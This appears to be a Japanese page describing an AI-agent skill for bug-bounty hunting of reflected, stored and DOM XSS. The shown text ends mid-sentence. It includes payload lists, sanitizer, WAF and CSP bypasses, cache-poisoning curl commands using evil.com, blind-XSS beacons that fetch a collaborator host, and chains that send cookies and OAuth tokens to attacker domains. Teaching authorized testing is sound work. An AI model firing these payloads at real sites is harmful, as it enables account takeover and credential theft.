hunt-xss について
hunt-xss は、反射型・格納型・DOM ベースのクロスサイトスクリプティングを調査するセキュリティテスト向けスキルです。入力が実行可能な描画先に届くかを追跡し、ブラウザーで実行を確認して誤検知を避けます。
主な機能
- 01反射型・格納型・DOM 入力点の特定
- 02フレームワーク別の危険な描画先の確認
- 03アウトオブバンド通信によるブラインド XSS の検証
- 04アップロード、Markdown、リダイレクトの調査
- 05ブラウザー検証とソース検索
活用シーン
- 01検索欄や URL パラメーターの反射確認
- 02管理画面での格納型 XSS テスト
- 03SVG アップロードや文書レンダラーの調査
- 04通信確認後のブラインド XSS 報告
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-xssインストール後、Claude Code で/hunt-xssを入力して読み込まれたか確認します。
詳細
使用する場面
ユーザー入力が HTML 出力に反映される、JavaScript フレームワークで処理される、または後で表示するために保存されるエンドポイントが対象にある場合に使用します。XSS はクライアント側の脆弱性の基本的な分類であり、セッションハイジャック、データ窃取、フィッシング、アカウント乗っ取りを可能にします。あらゆるフォーム、検索フィールド、URL パラメーター、ファイルアップロード、ユーザーが制御できるフィールドが候補になります。特に価値の高い対象は、管理パネル、OAuth サインインページ、Markdown/Wiki レンダラー、メールテンプレート、ファイルアップロードエンドポイント(SVG/HTML)、セキュリティ対策が比較的緩いヘルプ/ドキュメントサイトです。
⚠️ 重大:存在 ≠ 悪用可能
HTML タグが反映されるからといって、XSS が悪用可能とは限りません。 最新のフレームワークでは、デフォルトでテキストがエスケープされます。発見事項を XSS と判断する前に、シンクを必ず確認してください。
| フレームワーク | デフォルトの動作 | XSS が可能になるのは次の場合のみ |
|---|---|---|
| React/JSX | すべてのテキストをエスケープ | dangerouslySetInnerHTML、refs 上の innerHTML |
| Vue | {{ }} をエスケープ | v-html ディレクティブ |
| Angular | {{ }} をエスケープ | [innerHTML] バインディング |
| Svelte | { } をエスケープ | {@html} タグ |
| Next.js RSC | JSX テキストをエスケープ | コンポーネント内の dangerouslySetInnerHTML |
| Plain HTML/JS | エスケープしない | innerHTML、document.write()、eval() |
XSS の検証チェックリスト:
- ✅ ペイロードがレスポンスに反映/保存されている(存在の確認)
- ✅ ペイロードが描画可能なコンテキストに現れる(シンクの確認)
- ✅ ペイロードがブラウザーで実行される(悪用の証明)
手順 1 を通過しても手順 2 を通過しない場合 → 低:悪用可能なシンクのない HTML の保存。React エコシステムだけでも、JSX の自動エスケープによって、見かけ上の XSS の約 90% を防げます。
シンクの確認方法:
# In JS bundles — search for dangerous rendering patterns
grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/
# If NONE appear near the reflected field → NOT exploitable XSS
# If found → verify the specific field reaches that sink
最重要ターゲット
XSS は、特権コンテキスト+永続的な配信+影響範囲の拡大が組み合わさると価値が高くなります。特に高額な報奨金が期待できるのは、次の対象です。
- 管理パネルと認証済みダッシュボード(例:
*/admin、*/settings)— 攻撃者は昇格した権限でセッションを乗っ取ったり、トークンを窃取したり、アカウント乗っ取りへと攻撃を展開したりできます - 決済/金融フロー(
paypal.com、チェックアウトページ、通貨換算ツール)— ここでの XSS は、大規模な認証情報の窃取や金融詐欺を可能にします - 共同作業機能での保存型 XSS(Wiki、Markdown レンダラー、課題管理ツール、RDoc、ラベル、タグ)— 1 つのペイロードで閲覧者全員に感染し、影響が拡大します
- SSO/サインインページ(例:
paypal.com/signin)— プラットフォーム全体で認証トークンを窃取できるため、ここでの XSS は重大です - 共有 SaaS テナントのサーフェス(
*.[SHOPIFY_STORE]、api.collabs.*)— あるテナントのコンテキストにおける XSS が、テナント境界を越えて影響する可能性があります - ヘルプ/ドキュメントサイト(
help.shopify.com)— 個別の深刻度は低めですが、サニタイズが緩く、ユーザーから信頼されていることがよくあります - SVG/ファイルアップロードエンドポイント — CSP とサニタイズを同時に回避するケースがよくあります
特に報奨金が高い資産の種類: メインの製品ドメイン > 管理サブドメイン > API エンドポイント > マーケティング/ヘルプサイト
OOB で確認できなければ未成立ゲート(ブラインド/保存型 XSS)
ブラインド XSS と保存型 XSS の主張には、ブラインド SSRF と同様に、帯域外での確認が必要です。ペイロードが実際にブラウザー上で実行されたとき(管理者がログを確認する、SOC アナリストがチケットを開く、保存されたペイロードを含むメールがレンダリングされるなど)、OOB レシーバーが作動します。
確認にならないもの
- ASP.NET のリクエストバリデーターが
<を拒否し、異なるステータスコードを返した → XSS ではありません。これは WAF によるノイズです。 - ペイロードが URL エンコードまたは HTML エンコードされた状態でレスポンス本文に現れる → XSS ではありません。これは正しい出力エンコードです。
- フォームの action 属性に
%22onclick%3D…のようなペイロード文字列が含まれる → XSS ではありません。ブラウザーは HTML 属性値内の URL エンコードをデコードしません。DOM 内でも%22は文字どおりの%22のままです。 <script>タグがレスポンスに<script>として現れる → XSS ではありません。これはエスケープ処理です。
確認できる内容
- 一意の Collaborator サブドメイン(例:
bxss-err-<random>.<collab>.oastify.com)へのリクエストが、ペイロードの保存/反映/キューへの追加後に OOB リスナーへ届きます。 - 保存型 XSS の場合:管理者が影響を受けたリソースを表示した際、数時間後または数日後にリクエストが届きます。エンゲージメントの早い段階でペイロードを仕込み、リスナーを開いたままにしてください。
- 発火したリクエストの User-Agent はブラウザー(Mozilla/Chrome)であり、サーバー独自のバックエンド HTTP クライアントではありません。
ブラインド XSS のビーコンを仕込む場所
値が後で管理 UI/ログビューアー/メール/レポートに表示される可能性のあるフィールド:
- エラーメッセージ(
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>) - 認証フローのソースパラメーター(
?Source=、?ReturnUrl=) - ログインフォームのユーザー名フィールド(管理者がログイン失敗の監査ログを確認する場合があります)
- User-Agent ヘッダー(SOC コンソールによっては UA を HTML としてレンダリングします)
- Referer ヘッダー(分析ダッシュボードによっては Referer を HTML としてレンダリングします)
- 登録/問い合わせフォームのメールアドレス
- ファイルアップロード時のファイル名
どのフィールドで発火したかをコールバックから特定できるよう、Collaborator サブドメインには必ずシンク別のサブタグを付けてください。
認可を得たエンゲージメントから得られた教訓: ErrorMessage、Source、Authentication.asmx のユーザー名フィールド、User-Agent ヘッダー、Referer ヘッダー、リクエストパスに、ブラインド XSS の Collaborator ビーコンを 10 個仕込みました。10 分間のポーリングではコールバックはゼロでした。結論:SharePoint の SOC は HTML をレンダリングしないツールでログ/エラーを閲覧しており、さらに ASP.NET のリクエストバリデーターが、ペイロードが保存される前にクエリ文字列内の < をブロックしています。保存型 XSS の主張は正しく撤回しました。
攻撃対象領域の兆候
URL パターン:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
レスポンスヘッダー(防御が弱いことを示す兆候):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
DOM XSS を示すソース内の JS パターン:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
技術スタックの兆候:
html_safe、raw、translate、Action Text、または ActionView のサニタイズヘルパーを使用する Rails アプリケーション- GitLab/GitHub の Markdown パイプライン(Banzai、Kramdown、RDoc、Kroki)
- SVG のアップロードまたはレンダリングを許可するアプリケーション
- 許可リストで
styleタグを使用するサイト - Kroki/Mermaid/PlantUML の図表レンダリングエンドポイント
- 認証済みページの前段にあるキャッシュレイヤー(キャッシュポイズニングの攻撃経路)
手順を追ったハンティング手法
-
すべてのリフレクションポイントをマッピングする — 対象をクロールし、ユーザー入力が HTML 出力に現れる箇所をすべて特定します。URL パラメーター、フォームフィールド、パスセグメント、一意のマーカー、HTTP ヘッダー(User-Agent、Referer)、ファイルアップロード名/内容、UI に表示される API レスポンスのフィールドを優先します。
-
種類ごとに分類する — 各リフレクションがリフレクテッド(URL パラメーター → レスポンス)、ストアド(データベース → 後のレンダリング)、DOM ベース(JavaScript が URL/ストレージを読み込み → DOM シンク)かを判定します。それぞれで入力方法とコンテキストを考慮した分析が異なります。
-
サニタイザーの挙動を調べる — まず、無害なカナリア文字列を送信します:
aaa"bbb'ccc<ddd。どの文字がエスケープされるかを確認します。出力が HTML コンテキスト、属性コンテキスト、JS コンテキスト、URL コンテキストのどれにあるかを観察します。マーカーの規律: カナリア文字列には、ランダムな英数字のみで構成された一意の文字列(8 文字以上、英単語やプロトコルキーワードを含まないもの)を必ず使用します。悪いマーカー:
test、marker、evil、attacker、payload、javascript、script。良いマーカー:cpmark987abc、x4hd2k9pq、__ZZ_MARKER_<random>_ZZ__。リフレクションを報告する前に、ベースライン(マーカーなし)のレスポンスを検索し、マーカーがページ内に自然に現れていないか確認します(例:すべてのページのヘルプリンクの href にjavascriptという単語が含まれている場合など)。自然に現れている場合は誤検知の罠なので、別のマーカーが必要です。この確認ひとつで、誤検知によるリフレクション報告の 80% を発見できます。 -
許可リストに登録されたタグの組み合わせをテストする — サニタイザーが使用されている場合は、危険なタグの組み合わせを調べます:
<math>+<style>、<svg>+<style>、<iframe srcdoc>、式を含む<style>。 -
SVG とファイルアップロードのベクトルを調べる —
<script>タグを含む SVG ファイルをアップロードします。Content-Type レスポンスヘッダーを確認します。CSP が SVG レスポンスにも個別に適用されるかテストします。 -
Markdown/ドキュメントレンダラーをテストする — Wiki、README、またはドキュメントのフィールドで、次のものを試します:text
、インライン HTML インジェクション、Kroki/Mermaid ペイロード、RDoc のlink:javascript:` 構文。 -
リダイレクトパラメーターを確認する —
?redirect=javascript:alert(1)と?return_url=//evil.comをテストし、不適切なリダイレクトサニタイズによるワンクリック XSS がないか確認します。 -
UTM と分析用パラメーターを調べる —
utm_source、utm_medium、utm_campaignは、マーケティングページでサニタイズされずにリフレクトされることがよくあります。 -
CSP バイパスの可能性をテストする — CSP が設定されている場合は、許可されたドメイン上の JSONP エンドポイント、style-src の
unsafe-inline、script-src を回避する SVG、ホワイトリスト登録済み CDN 上のスクリプトガジェットを探します。 -
プロフィール/メタデータフィールドでストアド XSS を試す — ユーザー名、自己紹介、タグ名、ラベルの色、組織名は、多くのコンテキストでレンダリングされ、検証が弱いことがよくあります。
-
キャッシュポイズニングを確認する — リフレクテッド XSS ペイロードをキャッシュして他のユーザーに配信できるかテストします(特に CDN 経由のページ)。これにより、リフレクテッド XSS がストアド XSS と同等の状態になります。
-
対象のブラウザーで検証する — 報告する前に、必ず実際のブラウザーで確認します。多くのペイロードは Burp では反射されても、CSP、出力エンコーディング、フレームワークの自動エスケープ、コンテキストの不一致、WAF による正規化、ブラウザーの HTML 解析の違いにより、実際のブラウザーでは実行に失敗します。(注:Chrome の XSS Auditor は Chrome 78/2019 年 10 月に削除されており、出荷されているブラウザーに搭載されているものはありません。PoC の失敗を「XSS auditor」のせいにしてはいけません。)
ペイロードと検出パターン
基本的なコンテキストプロービング:
aaa"bbb'ccc<ddd>eee`fff
反射型 XSS — URL パラメーターのベースライン:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
属性コンテキスト:
value、name、id、class、title、alt、placeholder、labelは、それぞれ個別のコンテキストとして扱います。onmouseoverやonerrorなどのイベントハンドラー属性は、実行可能なシンクであり、安全な属性ではありません。aaa"bbb'cccのような無害なカナリアは、区切り文字がエンコードされているかどうかを示します。それだけでは XSS の検出結果とはなりません。
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
エスケープ関数の欠落/不完全なフィルター
- 1 文字、または最初の出現箇所だけを置換しても、防御にはなりません。
replaceall()は JavaScript の API ではなく、replaceAll()もコンテキストを考慮した XSS 対策にはなりません。 - コンテキスト(HTML 本文、引用符付き属性、JavaScript、CSS、URL、DOM シンク)ごとに個別にテストします。1 つのコンテキストにしか対応しないフィルターは不完全です。
SVG ベース(CSP バイパス):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
サニタイザーのバイパス — math+style の組み合わせ:
<math><style><img src=x onerror=alert(1)></style></math>
サニタイザーのバイパス — svg+style の組み合わせ:
<svg><style><img src=x onerror=alert(1)></style></svg>
Markdown/RDoc の javascript: リンク:
[Click me](javascript:alert(document.domain))
Kroki/図表インジェクション:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
ソースレビュー用の grep パターン:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
反射を検出する curl:
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
キャッシュポイズニングテスト:
# Send payload then fetch with clean session to see if cached
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page" | grep -i "evil.com"
よくある根本原因
-
Rails で
html_safeを信頼する — 開発者が部分的なサニタイズの後に文字列を安全としてマークしたり、ユーザー提供データに十分なサニタイズを行わず.html_safeを連結したりします。 -
危険なタグの組み合わせを許可する許可リスト型サニタイザー —
styleとmathまたはsvgを併用して許可すると、個々のタグが無害に見えても mXSS(Mutation XSS)の機会が生じます。 -
サードパーティのレンダリングパイプライン — 図表/レンダリングエンジンがサンドボックス化されておらず、出力が再サニタイズされていない場合、Markdown から HTML へのパイプライン(Banzai、Kramdown、Kroki)によって XSS が発生します。
-
エンコードせずに URL パラメーターを反映する — UTM パラメーター、リダイレクト URL、検索語が適切な HTML エンコードなしでページの HTML や JS に反映されます。特に、セキュリティ要件が低いと見なされるマーケティングページやヘルプページで発生します。
-
SVG をスクリプトではないコンテンツとして扱う — 開発者が HTML レスポンスには CSP を適用しても、
image/svg+xmlレスポンスが JavaScript を実行でき、同じ CSP ヘッダーの対象にならないことが多い点を見落とします。 -
不完全なサニタイザーパッチ — CVE 対応済みのサニタイザーも、わずかな違いによってバイパスされます(例:CVE-2022-32209 の不完全な修正は、サニタイザーのロジックを正しく実装する難しさを示しており、バイパスの連鎖を引き起こします)。
-
href/src で
javascript:スキームをブロックしていない — リンクレンダラー(RDoc、Markdown)が href 属性内のjavascript:URL をブロックせず、有効な外部リンクとして扱います。 -
認証済みユーザーの入力を保存するキャッシュ層 — CDN またはリバースプロキシのキャッシュが、ユーザー制御の XSS ペイロードを含むレスポンスを保存し、その後の未認証ユーザーに配信します。
-
Content-Type を強制しないファイルアップロード — SVG または HTML ファイルを受け入れ、
Content-Disposition: attachmentを強制したり Content-Type を上書きしたりせずに配信します。 -
翻訳ヘルパーの XSS — Rails の
translate/t()ヘルパーが翻訳文字列を HTML セーフとして扱い、ユーザー入力を補間するため、ロケールキーを介したインジェクションが可能になります。
バイパス手法
CSP のバイパス:
- SVG のアップロードは、
image/svg+xmlのレスポンスがページの CSP を継承しない場合があるため、script-src をバイパスします - ホワイトリストに登録されたドメイン(
*.googleapis.com、*.cloudflare.com)で JSONP エンドポイントを探します <base>タグのインジェクションを使って、スクリプトの読み込み元をリダイレクトします- style-src の
unsafe-evalまたはunsafe-inlineを悪用して、CSS ベースの攻撃を実行します <link rel=preload>または<meta http-equiv>のガジェットを使って、厳格なポリシーをバイパスします
サニタイザーのバイパス:
- mXSS(Mutation XSS): サニタイザーによる解析時には安全でも、ブラウザーが再解析すると変化する HTML をインジェクションします(例:
<math><style><img onerror=...>) - タグの組み合わせ攻撃:
<svg>と<style>、または<math>と<style>を組み合わせて、解析の曖昧さを生じさせます - 属性の引用符のバリエーション: 引用符なしの
onmouseover=alert(1)、バッククォートによる区切り - HTML エンティティエンコーディング: href の値に
javascript:またはjavascript:を使います - プロトコルのバリエーション:
javascript:、vbscript:、data:text/html
フィルター回避:
<ScRiPt>alert(1)</ScRiPt>
<scr\x00ipt>alert(1)</scr\x00ipt>
<svg/onload=alert(1)>
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
WAF のバイパス:
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
リダイレクトベースの XSS バイパス:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
XSS のヒントとテクニック
ペイロードに対する 400、404、500 のレスポンスは、入力処理に関するシグナルにすぎません。サニタイズや脆弱性を証明するものではありません。固有の無害なマーカーを使って再試行し、ベースラインとステータス、ヘッダー、本文を比較して出力コンテキストを分類し、報告する前に最新のブラウザーで実行を確認してください。
ゲート 0 の検証
レポートを書く前に、次の 3 つすべてに回答してください。
-
攻撃者は今、何ができますか? 攻撃者は、具体的な操作を実証する必要があります。対象ドメイン上で被害者のブラウザーセッション内の JavaScript を実行する、セッション Cookie やトークンを窃取する、被害者として操作を行う、または機密データを流出させる、といった操作です。「アラートボックスが表示される」だけでは不十分です。アクセスの観点で、アラートボックスが何を意味するかを明示してください(例:「すべての管理者向け API 呼び出しで使用される認証トークンを含む
document.cookieを読み取れます」)。 -
被害者は何を失いますか? 被害者は、実際に何かを失う必要があります。セッションの支配権(アカウント乗っ取り)、機密データ(Cookie、CSRF トークン、PII)、金銭(同意なしに実行された金融取引)、または信頼(DOM 操作による認証情報のフィッシング)などです。被害者がセッションのない公開ページ上の未認証ユーザーである場合は、そのユーザーのブラウザーがさらされるリスクを定量化してください。
-
何も準備せずに 10 分以内で再現できますか? 事前準備なしでレビュー担当者が実行できる、自己完結型の PoC URL または手順が必要です。特別な設定をしなくても、最新のブラウザー(最新の Chrome/Firefox)でペイロードが発火しなければなりません。古いブラウザーでしか動作しない場合や、被害者が特定の拡張機能をインストールしている必要がある場合は、受け入れられない可能性が高いです。
実際の影響例
シナリオ 1 — サインインページでのキャッシュポイズニングを介した格納型 XSS 攻撃者は、大手決済プラットフォームのサインインページがユーザー制御の入力を反映し、CDN レイヤーでキャッシュされていることを発見しました。キャッシュを汚染する細工したリクエストを送信し、攻撃者は反射型 XSS を、ログインページを訪れるすべてのユーザーに対して実行される、格納型と同等のものに変えました。影響:大規模な認証情報の収集です。サインインページを訪れたすべてのユーザーの認証情報が取得されます。CSP を回避していたため、修正にはコードの修正とキャッシュのパージの両方が必要でした。
シナリオ 2 — Wiki の図表レンダリングを介した格納型 XSS ある開発者向けプラットフォームの Wiki 機能は、サードパーティの図表レンダリングサービス(Kroki)を統合していました。攻撃者は、レンダリング時に Wiki ページを閲覧するすべてのユーザーのコンテキストで任意の JavaScript を実行する、悪意のある図表ペイロードを作成しました。Wiki は、プロジェクトオーナーや管理者を含むチームメンバー間で共有されるため、このペイロードは OAuth トークンを密かに窃取し、すべての閲覧者に代わって管理者操作を実行できます。単一の格納型ペイロードから、事実上組織レベルのアカウント乗っ取りを実現できます。
シナリオ 3 — CSP 回避を伴うラベルの色フィールドを介したサニタイザーの回避
あるプロジェクト管理プラットフォームは、ラベルの色フィールドにある XSS 脆弱性にパッチを適用しましたが、修正は不完全でした。ある研究者は、style タグの許可リストと特定のタグのネスト(svg>style)を組み合わせることで、ブラウザーによる解析時にサニタイザーの出力が変化し、注入された JavaScript が実行されることを発見しました。また、インラインスタイルが許可リストに含まれているコンテキストで注入が行われるため、ペイロードはプラットフォームの Content Security Policy も回避しました。影響:ラベル作成権限を持つすべてのユーザー(多くの場合、プロジェクトメンバー全員)が、プロジェクトを訪れるすべてのユーザーに対して実行される永続的な XSS を注入でき、同じプロジェクトの名前空間内でユーザー間のセッション窃取が可能になります。
チェーンと組み合わせ(シニアハンティング)
成熟したプログラムでは、単独の発見としての XSS は低〜中程度の報奨金となります。高額な報奨金は、JS の実行をアカウント乗っ取り、大規模な被害、CSP の回避、トークンの窃取へとつなげるチェーンに集中します。組み合わせのスキルとは、*「XSS を実行した後、何を可能にできるか」*を見極めることであり、その答えは必ず alert(1) を超えるものです。
チェーン 1 — 反射型 XSS + キャッシュポイズニング → CDN 規模の永続的な格納型 XSS(Kettle クラス)
- A. 脆弱な入力がレスポンス本文に反映され、レスポンスがキャッシュ可能な(
Cache-Control: public, max-age=…)反射型 XSS を特定します。 - B. キャッシュされる本文に影響を与える、キャッシュキーに含まれない入力を特定します。一般的には
X-Forwarded-Host、X-Original-URL、キャッシュキーに含まれない Cookie、またはキャッシュキーから除外されながら本文には反映されるパラメーターです。 - C. キャッシュキーに含まれない入力を介して XSS ペイロードを含むリクエストを 1 件送信します。キャッシュに汚染されたレスポンスが保存されます。その後、CDN エッジを訪れるすべてのユーザーが、TTL の全期間にわたってこのレスポンスを受け取ります。
- 影響: 自己誘発型の反射型 XSS が、影響を受ける地域のすべての訪問者に影響する永続的な格納型 XSS になります。被害者ごとの操作は不要です。
- 実例: キャッシュポイズニングを介した Glassdoor の反射型から格納型への XSS、H1 #1424094(2021-2022);Kettle の「Practical Web Cache Poisoning」研究。
hunt-cache-poison開示済みレポート引用 #4 を参照。
チェーン 2 — セルフ XSS + CSRF によるトリガー → 実質的な保存型 XSS → ATO
- A. プロフィール欄(
bio、display_name、signature)でセルフ XSS を確認します。ペイロードは、同じログイン中のユーザーが自分のプロフィールを表示したときにのみ実行されます。 - B. その欄を変更する、CSRF に脆弱なエンドポイントを見つけます(CSRF 対策トークンがない、または
text/plainの enctype を利用したバイパスが可能)。 - C.
bioに XSS ペイロードを設定する CSRF フォームを送信する、攻撃者がホストするページを作成します。被害者が攻撃者のページにアクセスすると、CSRF が発動し、被害者のプロフィールが更新されます。その後、被害者が自分のプロフィールを表示すると、攻撃者の JS が実行されます。 - 影響:「割に合わない」セルフ XSS が ATO につながります。ペイロードは被害者の認証済みセッションで実行されます。Cookie の窃取、XHR によるメールアドレスの強制変更、パスワードリセットなどにより、完全な ATO が可能です。
- 実際の事例: 2019~2023 年に複数のソーシャルプラットフォームで H1 の開示事例があります。
hunt-csrfのステップ 7(プロフィール変更に対するフォームベースの CSRF)も参照してください。
チェーン 3 — /signin または /oauth コールバックの DOM XSS → フラグメント内トークンの窃取 → ATO
- A.
/signin、/oauth/callback、または/auth/returnページで DOM XSS を見つけます。一般に、document.location.hashをエスケープせずに DOM に解析します。 - B. OAuth のインプリシットフローでは、コールバック URL のフラグメント(
#access_token=...)にトークンが含まれることがよくあります。フラグメントはサーバーには送信されず、ブラウザーだけが参照できます。 - C. XSS ペイロードで
document.location.hashを読み取り、Base64 エンコードして、Image()を使って攻撃者のドメインに外部送信します。これにより、攻撃者は OAuth アクセストークンを取得します。 - 影響: プラットフォームをまたいだ ATO。アクセストークンにより通常、Facebook/Google/Microsoft のユーザーデータに対する API スコープが付与されます。実装によっては、トークンがそのままセッションとして使用されます。
- 実際の事例: Detectify の「Dirty Dancing」による複数ベンダーの OAuth トークン漏えい(F. Rosén、2022 年)、Zoom の OAuth を連鎖させた ATO、15,000 ドル(H1/Harel Security、2024 年)。
hunt-oauthの開示レポート引用 #19 および #20 も参照してください。
チェーン 4 — SVG アップロード XSS + CSP バイパス → 信頼されたオリジンでの JS 実行 → Cookie/トークン窃取
- A.
image/svg+xmlを受け付けるファイルアップロード機能を特定します。SVG ファイルは XML であり、<script>タグを含めることができます。多くのサニタイザーは PNG/JPG を処理しますが、SVG はそのまま通します。 - B. CSP は HTML レスポンスには適用されても、
image/svg+xmlのレスポンスには適用されないことがよくあります。SVG を配信するオリジンのコンテキストで JS が実行されます。 - C. SVG が同一オリジンで配信される場合(アップロードファイルが
target.com/uploads/<sha>.svgに置かれるケースなど)、実行される JS はセッション Cookie に完全にアクセスでき、同一オリジンの任意の API を呼び出せます。 - 影響: リフレクテッド/保存型コンテンツのベクトルを使わずに、信頼されたオリジン上で保存型 XSS が成立します。CSP を完全にバイパスし、セッション Cookie を窃取してパスワード変更エンドポイントを呼び出し、ATO を実行できます。
- 実際の事例: SaaS のアップロード機能で複数の開示事例があります。
hunt-file-uploadの SVG セクション、およびhunt-xxeの開示レポート引用 #3 および #4(Zivver/Lab45 の SVG アップロードを使ったチェーン)も参照してください。
チェーン 5 — postMessage XSS +オリジンチェックのバイパス → クロスオリジンでのトークン外部送信 → ATO
- A.
handlerがevent.originをチェックしない(またはindexOf/endsWithを使ってチェックするため、target.com.attacker.comを許可してしまう)window.addEventListener('message', handler)を特定します。 - B. 攻撃者のページから
target.comをポップアップまたは iframe で開きます。読み込み後、ハンドラーが eval する、XSS として処理する、またはdocument.cookieの窃取に使用するpostMessageペイロードを送信します。 - C. ハンドラーは
target.comのコンテキストで実行されます。レスポンスはevent.source.postMessage(stolenData, '*')を通じて、攻撃者のページにpostMessageされます。 - 影響: CSP 違反なしに、クロスオリジンの JS 実行と外部送信が成立します。
postMessageは正当なクロスオリジン通信経路であり、CSP では制限されません。トークン窃取/セッションハイジャックにつながります。 - 実際の事例: Detectify の「Dirty Dancing」による複数ベンダーの postMessage ガジェット(2022 年)、Zoom の OAuth と postMessage を連鎖させた事例(2024 年)。
hunt-oauthの開示レポート引用 #19、#20 も参照してください。
Chain 6 — Markdown/Wiki XSS + 特権ユーザーによる閲覧 → 権限をまたぐ保存型 XSS
- A. 共同編集コンテンツのフィールド(Wiki ページ、イシューのコメント、顧客チケット、サポート返信)に保存型 XSS が存在する —
<style>、<math>、<svg>、または属性のフィルターが不十分なため、ペイロードが Markdown のレンダリングをすり抜けて残ります。 - B. 共同編集コンテンツを特権ユーザー(管理者、昇格した権限を持つサポートエージェント、プロジェクトメンテナー)が閲覧する。
- C. 特権ユーザーのセッションで、認証済みコンテキストのペイロードが実行される — 管理者専用エンドポイントへの XHR、攻撃者のロール変更、管理者専用パネルからの秘密情報の流出。
- 影響: 保存型 XSS を介して、権限の低いユーザーから管理者へ権限を昇格 — 攻撃者が特権ユーザーに代わって自分自身の権限を昇格させます。
- 実際のパターン: GitLab/Jira/Confluence の Markdown XSS から管理者権限昇格につながるクラスです。一般的な報奨金のパターンは High です(単独の保存型 XSS に比べて、権限昇格による重大度の引き上げがあります)。
オペレーター向けパターン
A で XSS を確認したら、すぐに次の点を確認してください。この JS がアクセスできる状態変更エンドポイントまたはトークンストアは何か?ペイロードはどこで実行され、誰がそれを見るのか? このチェーンによる報奨金は、単独の XSS の 5~20 倍です。提出前の規律として、最終的な影響(ATO/トークン流出/権限昇格)を実証せずに、XSS を「Critical」として報告しないでください。それ以外は Medium として報告してください。
相互参照:
hunt-cache-poison— Chain 1hunt-csrf— Chain 2hunt-oauth— Chains 3, 5hunt-file-upload/hunt-xxe— Chain 4hunt-ato— Chains 2, 3, 4, 5 の最終的な影響
検証
このセルフテストを実行して、XSS ハンティングの準備ができていることを確認してください:
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-xss" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
注意点
- Self-XSS — 攻撃者自身のセッションにしか影響しない XSS は、参考情報にとどまります。他のユーザーに影響する保存型 XSS または反射型 XSS が必要です。
- HttpOnly の回避を伴わない XSS — セッション Cookie が HttpOnly の場合、XSS でそれを盗むことはできません。ほかの手段(CSRF トークンの窃取、キーロギング、ページの改変)による影響を実証する必要があります。
- 悪用可能なシンクを伴わない DOM XSS —
location.hashがinnerHTMLに渡される場合は悪用可能です。location.hashがconsole.logに渡される場合は悪用できません。 - XSS を伴わない CSP の回避 — CSP の回避手法を発見しても、回避可能な XSS が実際に動作しなければ脆弱性ではありません。両者を区別してください。
- MIME タイプの混同 — HTML としてレンダリングされる image/png として HTML をアップロードするのは MIME の混同であり、従来型の XSS ではありません。X-Content-Type-Options によってブロックされる場合があります。
関連するスキルとチェーン
hunt-cache-poison— 脆弱なパラメーターがキャッシュキーに含まれていない場合、リフレクテッド XSS は CDN 規模でストアド XSS と同等になります。チェーンの起点:X-Forwarded-Host: attacker.comにより、<script src=...>が attacker.com を指すようになったレスポンスがキャッシュ汚染されます → すべての CDN エッジの訪問者で、被害者ごとの操作なしに攻撃者の JavaScript が実行されます。hunt-csrf— オリジン上の XSS により、状態を変更するエンドポイントに対する SameSite=Lax と同一オリジンチェックを自動的に回避できます。チェーンの起点:プロフィールの自己紹介欄に保存された XSS →fetch(/settings/email, {method:'POST', body:'email=attacker@evil'})が被害者の Cookie とオリジンで実行されます → 気付かれないままメールアドレスが乗っ取られます → パスワードがリセットされます → 被害者がページを離れることなく、アカウントが完全に乗っ取られます。hunt-http-smuggling— スマグリングにより、入力を独自にサニタイズするエンドポイントであっても、次の被害者のリクエストのレスポンスキューに XSS ペイロードを送り込めます。チェーンの起点:攻撃者の HTML を含むレスポンスが、次の正規ユーザーのGET /の本文として返されるリクエストをスマグリングします → URL パラメーターがアドレスバーに表示されることなく、すべての訪問者でリフレクテッド XSS 